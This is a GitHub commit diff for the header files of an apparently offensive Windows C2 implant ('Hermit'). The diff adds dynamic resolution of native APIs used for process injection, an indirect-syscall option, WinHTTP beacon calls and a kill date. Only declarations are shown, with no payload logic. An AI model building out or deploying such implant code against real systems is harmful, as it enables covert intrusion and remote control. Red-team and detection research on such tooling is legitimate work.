Skip to content

Commit

Permalink
add more dynamic resolutions
Browse files Browse the repository at this point in the history
  • Loading branch information
@hideckies
hideckies committed Apr 19, 2024
1 parent 42454d7 commit 0e2cc23
Show file tree
Hide file tree
Showing 61 changed files with 1,643 additions and 829 deletions.
4 changes: 3 additions & 1 deletion payload/win/implant/CMakeLists.txt
View file
Original file line number Diff line number Diff line change
Expand Up @@ -56,15 +56,17 @@ set(SOURCE_CORE
src/core/handler.cpp
src/core/parser.cpp
src/core/procs.cpp
src/core/socket.cpp
# src/core/socket.cpp
src/core/state.cpp
src/core/stdout.cpp
src/core/syscalls.cpp
src/core/system/arch.cpp
src/core/system/env.cpp
src/core/system/fs.cpp
src/core/system/group.cpp
src/core/system/handle.cpp
src/core/system/http.cpp
src/core/system/pipe.cpp
src/core/system/priv.cpp
src/core/system/process.cpp
src/core/system/user.cpp
Expand Down
6 changes: 3 additions & 3 deletions payload/win/implant/include/core/crypt.hpp
View file
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
#ifndef HERMIT_CORE_CRYPT_HPP
#define HERMIT_CORE_CRYPT_HPP

#include "core/stdout.hpp"
#include "core/utils.hpp"

#include <windows.h>
#include <wincrypt.h>
#include <bcrypt.h>
Expand All @@ -10,9 +13,6 @@
#include <sstream>
#include <vector>

#include "core/stdout.hpp"
#include "core/utils.hpp"

#define AES_KEY_LENGTH 16
#define AES_IV_LENGTH 16

Expand Down
6 changes: 3 additions & 3 deletions payload/win/implant/include/core/handler.hpp
View file
Original file line number Diff line number Diff line change
Expand Up @@ -23,11 +23,11 @@ namespace Handler
BOOL TaskExecute(State::PSTATE pState);
BOOL TaskResultSend(State::PSTATE pState);
BOOL Task(State::PSTATE pState);
BOOL SocketAccept(State::PSTATE pState);
BOOL SocketRead(State::PSTATE pState);
// BOOL SocketAccept(State::PSTATE pState);
// BOOL SocketRead(State::PSTATE pState);
// BOOL SocketClose(State::PSTATE pState);
// BOOL SocketKill(State::PSTATE pState);
BOOL Socket(State::PSTATE pState);
// BOOL Socket(State::PSTATE pState);
BOOL IsKillDateReached(INT nKillDate);
}

Expand Down
8 changes: 4 additions & 4 deletions payload/win/implant/include/core/parser.hpp
View file
Original file line number Diff line number Diff line change
@@ -1,15 +1,15 @@
#ifndef HERMIT_CORE_PARSER_HPP
#define HERMIT_CORE_PARSER_HPP

#include <windows.h>
#include <string>
#include <vector>

#include "core/crypt.hpp"
#include "core/json.hpp"
#include "core/stdout.hpp"
#include "core/utils.hpp"

#include <windows.h>
#include <string>
#include <vector>

using json = nlohmann::json;

namespace Parser
Expand Down
176 changes: 132 additions & 44 deletions payload/win/implant/include/core/procs.hpp
View file
Original file line number Diff line number Diff line change
@@ -1,63 +1,151 @@
#ifndef HERMIT_CORE_PROCS_HPP
#define HERMIT_CORE_PROCS_HPP

#include "core/stdout.hpp"
#include "core/syscalls.hpp"
#include "core/utils.hpp"

#include <winternl.h>
#include <windows.h>
#include <winhttp.h>
#include <string>
#include <strsafe.h>

namespace Procs
{
// NT Functions
typedef NTSTATUS (NTAPI* LPPROC_NTOPENPROCESS)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
typedef NTSTATUS (NTAPI* LPPROC_NTALLOCATEVIRTUALMEMORY)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS (NTAPI* LPPROC_NTWRITEVIRTUALMEMORY)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);
typedef NTSTATUS (NTAPI* LPPROC_NTCREATETHREADEX)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID lpBytesBuffer);
typedef NTSTATUS (NTAPI* LPPROC_NTWAITFORSINGLEOBJECT)(HANDLE Handle, BOOLEAN Alertable, PLARGE_INTEGER Timeout);
typedef NTSTATUS (NTAPI* LPPROC_NTCLOSE)(HANDLE Handle);
// Runtime Library Functions
typedef PVOID (NTAPI* LPPROC_RTLALLOCATEHEAP)(PVOID HeapHandle, ULONG Flags, SIZE_T Size);
// WinHTTP Functions
typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPEN)(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags);
typedef HINTERNET (WINAPI* LPPROC_WINHTTPCONNECT)(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved);
typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPENREQUEST)(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR *ppwszAcceptTypes, DWORD dwFlags);
typedef BOOL (WINAPI* LPPROC_WINHTTPSETOPTION)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength);
typedef BOOL (WINAPI* LPPROC_WINHTTPSENDREQUEST)(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext);
typedef BOOL (WINAPI* LPPROC_WINHTTPWRITEDATA)(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten);
typedef BOOL (WINAPI* LPPROC_WINHTTPRECEIVERESPONSE)(HINTERNET hRequest, LPVOID lpReserved);
typedef BOOL (WINAPI* LPPROC_WINHTTPQUERYHEADERS)(HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex);
typedef BOOL (WINAPI* LPPROC_WINHTTPQUERYDATAAVAILABLE)(HINTERNET hRequest, LPDWORD lpdwNumberOfBytesAvailable);
typedef BOOL (WINAPI* LPPROC_WINHTTPREADDATA)(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesLength, LPDWORD lpdwNumberOfBytesRead);
typedef BOOL (WINAPI* LPPROC_WINHTTPCLOSEHANDLE)(HINTERNET hInternet);
// **NATIVE APIs**

// NtCreateProcess
typedef NTSTATUS (NTAPI* LPPROC_NTCREATEPROCESS)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ParentProcess, BOOLEAN InheritObjectTable, HANDLE SectionHandle, HANDLE DebugPort, HANDLE TokenHandle);
// NtOpenProcess
typedef NTSTATUS (NTAPI* LPPROC_NTOPENPROCESS)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
// NtTerminateProcess
typedef NTSTATUS (NTAPI* LPPROC_NTTERMINATEPROCESS)(HANDLE ProcessHandle, NTSTATUS ExitStatus);
// NtSetInformationProcess
typedef NTSTATUS (NTAPI* LPPROC_NTSETINFORMATIONPROCESS)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength);
// NtCreateThreadEx
typedef NTSTATUS (NTAPI* LPPROC_NTCREATETHREADEX)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID lpBytesBuffer);
// NtResumeThread
typedef NTSTATUS (NTAPI* LPPROC_NTRESUMETHREAD)(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
// NtAllocateVirtualMemory
typedef NTSTATUS (NTAPI* LPPROC_NTALLOCATEVIRTUALMEMORY)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
// NtWriteVirtualMemory
typedef NTSTATUS (NTAPI* LPPROC_NTWRITEVIRTUALMEMORY)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);
// NtFreeVirtualMemory
typedef NTSTATUS (NTAPI* LPPROC_NTFREEVIRTUALMEMORY)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType);
// NtDuplicateObject
typedef NTSTATUS (NTAPI* LPPROC_NTDUPLICATEOBJECT)(HANDLE SourceProcessHandle, PHANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, BOOLEAN InheritHandle, ULONG Options);
// NtWaitForSingleObject
typedef NTSTATUS (NTAPI* LPPROC_NTWAITFORSINGLEOBJECT)(HANDLE Handle, BOOLEAN Alertable, PLARGE_INTEGER Timeout);
// NtClose
typedef NTSTATUS (NTAPI* LPPROC_NTCLOSE)(HANDLE Handle);
// NtCreateFile
typedef NTSTATUS (NTAPI* LPPROC_NTCREATEFILE)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
// NtReadFile
typedef NTSTATUS (NTAPI* LPPROC_NTREADFILE)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key);
// NtWriteFile
typedef NTSTATUS (NTAPI* LPPROC_NTWRITEFILE)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key);
// NtCreateNamedPipeFile
typedef NTSTATUS (NTAPI* LPPROC_NTCREATENAMEDPIPEFILE)(PHANDLE FileHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, ULONG NamedPipeType, ULONG ReadMode, ULONG CompletionMode, ULONG MaximumInstances, ULONG InboundQuota, ULONG OutboundQuota, PLARGE_INTEGER DefaultTimeout);
// NtQueryInformationFile
typedef NTSTATUS (NTAPI* LPPROC_NTQUERYINFORMATIONFILE)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass);
// NtSetInformationFile
typedef NTSTATUS (NTAPI* LPPROC_NTSETINFORMATIONFILE)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass);


// **NATIVE APIs (RUNTIME LIBRARY)**
// RtlAllocateHeap
typedef PVOID (NTAPI* LPPROC_RTLALLOCATEHEAP)(PVOID HeapHandle, ULONG Flags, SIZE_T Size);
// RtlZeroMemory
typedef VOID (NTAPI* LPPROC_RTLZEROMEMORY)(PVOID Destination, SIZE_T Length);
// RtlInitUnicodeString
typedef NTSTATUS (NTAPI* LPPROC_RTLINITUNICODESTRING)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
// RtlStringCatW
typedef NTSTATUS (NTAPI* LPPROC_RTLSTRINGCCHCATW)(LPWSTR pszDest, SIZE_T cchDest, LPCWSTR pszSrc);
// RtlStringCchCopyW
typedef NTSTATUS (NTAPI* LPPROC_RTLSTRINGCCHCOPYW)(LPWSTR pszDest, SIZE_T cchDest, LPCWSTR pszSrc);
// RtlStringCchLengthW
typedef NTSTATUS (NTAPI* LPPROC_RTLSTRINGCCHLENGTHW)(PCWSTR psz, SIZE_T cchMax, SIZE_T *pcchLength);
// RtlQuerySystemInformation
typedef NTSTATUS (NTAPI* LPPROC_RTLQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
// RtlExpandEnvironmentStrings
typedef NTSTATUS (NTAPI* LPPROC_RTLEXPANDENVIRONMENTSTRINGS)(PVOID Environment, PCWSTR Source, SIZE_T SourceLength, PWSTR Destination, SIZE_T DestinationLength, PSIZE_T ReturnLength);
// RtlNtStatusToDosError
typedef DWORD (NTAPI* LPPROC_RTLNTSTATUSTODOSERROR)(NTSTATUS Status);

// **WINAPIs**
// WinHttpOpen
typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPEN)(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags);
// WinHttpConnect
typedef HINTERNET (WINAPI* LPPROC_WINHTTPCONNECT)(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved);
// WinHttpOpenRequest
typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPENREQUEST)(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR *ppwszAcceptTypes, DWORD dwFlags);
// WinHttpSetOption
typedef BOOL (WINAPI* LPPROC_WINHTTPSETOPTION)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength);
// WinHttpSendRequest
typedef BOOL (WINAPI* LPPROC_WINHTTPSENDREQUEST)(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext);
// WinHttpWriteData
typedef BOOL (WINAPI* LPPROC_WINHTTPWRITEDATA)(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten);
// WinHttpReceiveResponse
typedef BOOL (WINAPI* LPPROC_WINHTTPRECEIVERESPONSE)(HINTERNET hRequest, LPVOID lpReserved);
// winHttpQueryHeaders
typedef BOOL (WINAPI* LPPROC_WINHTTPQUERYHEADERS)(HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex);
// WinHttpQueryDataAvailable
typedef BOOL (WINAPI* LPPROC_WINHTTPQUERYDATAAVAILABLE)(HINTERNET hRequest, LPDWORD lpdwNumberOfBytesAvailable);
// WinHttpReadData
typedef BOOL (WINAPI* LPPROC_WINHTTPREADDATA)(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesLength, LPDWORD lpdwNumberOfBytesRead);
// WinHttpCloseHandle
typedef BOOL (WINAPI* LPPROC_WINHTTPCLOSEHANDLE)(HINTERNET hInternet);

struct PROCS
{
// NT Functions
LPPROC_NTOPENPROCESS lpNtOpenProcess;
LPPROC_NTALLOCATEVIRTUALMEMORY lpNtAllocateVirtualMemory;
LPPROC_NTWRITEVIRTUALMEMORY lpNtWriteVirtualMemory;
LPPROC_NTCREATETHREADEX lpNtCreateThreadEx;
LPPROC_NTWAITFORSINGLEOBJECT lpNtWaitForSingleObject;
LPPROC_NTCLOSE lpNtClose;
// Runtime Library Functions
LPPROC_RTLALLOCATEHEAP lpRtlAllocateHeap;
// WinHTTP Functions
LPPROC_WINHTTPOPEN lpWinHttpOpen;
LPPROC_WINHTTPCONNECT lpWinHttpConnect;
LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest;
LPPROC_WINHTTPSETOPTION lpWinHttpSetOption;
LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest;
LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData;
LPPROC_WINHTTPRECEIVERESPONSE lpWinHttpReceiveResponse;
LPPROC_WINHTTPQUERYHEADERS lpWinHttpQueryHeaders;
LPPROC_WINHTTPQUERYDATAAVAILABLE lpWinHttpQueryDataAvailable;
LPPROC_WINHTTPREADDATA lpWinHttpReadData;
LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle;
};
// **NATIVE APIs**
LPPROC_NTCREATEPROCESS lpNtCreateProcess = nullptr;
LPPROC_NTOPENPROCESS lpNtOpenProcess = nullptr;
LPPROC_NTTERMINATEPROCESS lpNtTerminateProcess = nullptr;
LPPROC_NTSETINFORMATIONPROCESS lpNtSetInformationProcess = nullptr;
LPPROC_NTCREATETHREADEX lpNtCreateThreadEx = nullptr;
LPPROC_NTRESUMETHREAD lpNtResumeThread = nullptr;
LPPROC_NTALLOCATEVIRTUALMEMORY lpNtAllocateVirtualMemory = nullptr;
LPPROC_NTWRITEVIRTUALMEMORY lpNtWriteVirtualMemory = nullptr;
LPPROC_NTFREEVIRTUALMEMORY lpNtFreeVirtualMemory = nullptr;
LPPROC_NTDUPLICATEOBJECT lpNtDuplicateObject = nullptr;
LPPROC_NTWAITFORSINGLEOBJECT lpNtWaitForSingleObject = nullptr;
LPPROC_NTCLOSE lpNtClose = nullptr;
LPPROC_NTCREATEFILE lpNtCreateFile = nullptr;
LPPROC_NTREADFILE lpNtReadFile = nullptr;
LPPROC_NTWRITEFILE lpNtWriteFile = nullptr;
LPPROC_NTCREATENAMEDPIPEFILE lpNtCreateNamedPipeFile = nullptr;
LPPROC_NTQUERYINFORMATIONFILE lpNtQueryInformationFile = nullptr;
LPPROC_NTSETINFORMATIONFILE lpNtSetInformationFile = nullptr;

// **RUNTIME LIBRARY APIs**
LPPROC_RTLALLOCATEHEAP lpRtlAllocateHeap = nullptr;
LPPROC_RTLZEROMEMORY lpRtlZeroMemory = nullptr;
LPPROC_RTLINITUNICODESTRING lpRtlInitUnicodeString = nullptr;
LPPROC_RTLSTRINGCCHCATW lpRtlStringCchCatW = nullptr;
LPPROC_RTLSTRINGCCHCOPYW lpRtlStringCchCopyW = nullptr;
LPPROC_RTLSTRINGCCHLENGTHW lpRtlStringCchLengthW = nullptr;
LPPROC_RTLQUERYSYSTEMINFORMATION lpRtlQuerySystemInformation = nullptr;
LPPROC_RTLEXPANDENVIRONMENTSTRINGS lpRtlExpandEnvironmentStrings = nullptr;
LPPROC_RTLNTSTATUSTODOSERROR lpRtlNtStatusToDosError = nullptr;

// **WINAPIs**
LPPROC_WINHTTPOPEN lpWinHttpOpen = nullptr;
LPPROC_WINHTTPCONNECT lpWinHttpConnect = nullptr;
LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest = nullptr;
LPPROC_WINHTTPSETOPTION lpWinHttpSetOption = nullptr;
LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest = nullptr;
LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData = nullptr;
LPPROC_WINHTTPRECEIVERESPONSE lpWinHttpReceiveResponse = nullptr;
LPPROC_WINHTTPQUERYHEADERS lpWinHttpQueryHeaders = nullptr;
LPPROC_WINHTTPQUERYDATAAVAILABLE lpWinHttpQueryDataAvailable = nullptr;
LPPROC_WINHTTPREADDATA lpWinHttpReadData = nullptr;
LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle = nullptr;
};
typedef PROCS* PPROCS;

PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL);
PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls);
}

#endif // HERMIT_CORE_PROCS_HPP
4 changes: 2 additions & 2 deletions payload/win/implant/include/core/socket.hpp
View file
Original file line number Diff line number Diff line change
Expand Up @@ -5,10 +5,10 @@
#define SOCKET_TYPE_REVERSE_PORT_FORWARDING 0x1
#define SOCKET_TYPE_CLIENT 0x2

#include <winsock2.h>

#include "core/macros.hpp"

// #include <winsock2.h>

namespace Socket
{
typedef struct _SOCKET_DATA
Expand Down
17 changes: 7 additions & 10 deletions payload/win/implant/include/core/state.hpp
View file
Original file line number Diff line number Diff line change
@@ -1,18 +1,18 @@
#ifndef HERMIT_CORE_STATE_HPP
#define HERMIT_CORE_STATE_HPP

#include <winsock2.h>
#include <winternl.h>
#include <windows.h>
#include <winhttp.h>

#include "core/crypt.hpp"
#include "core/socket.hpp"
#include "core/parser.hpp"
#include "core/procs.hpp"
#include "core/syscalls.hpp"
#include "core/system.hpp"

// #include <winsock2.h>
#include <winternl.h>
#include <windows.h>
#include <winhttp.h>

using json = nlohmann::json;

namespace State
Expand All @@ -29,12 +29,9 @@ namespace State
HMODULE hNTDLL;
HMODULE hWinHTTPDLL;

// Procedures loaded dynamatically
// Procedures loaded dynamatically (including syscalls)
Procs::PPROCS pProcs;

// Syscalls (this values will be assigned everytime we call a syscall)
Syscalls::PSYSCALLS pSyscalls;

// wWinMain arguments
HINSTANCE hInstance;
INT nCmdShow;
Expand Down Expand Up @@ -75,7 +72,7 @@ namespace State
HINTERNET hRequest;

// Socket
Socket::PSOCKET_DATA pSocket;
// Socket::PSOCKET_DATA pSocket;

// Quit beacon
BOOL bQuit;
Expand Down
3 changes: 3 additions & 0 deletions payload/win/implant/include/core/stdout.hpp
View file
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
#ifndef HERMIT_CORE_STDOUT_HPP
#define HERMIT_CORE_STDOUT_HPP

#include "core/procs.hpp"
#include "core/utils.hpp"

#include <windows.h>

namespace Stdout
Expand Down
Loading

0 comments on commit 0e2cc23

Please sign in to comment.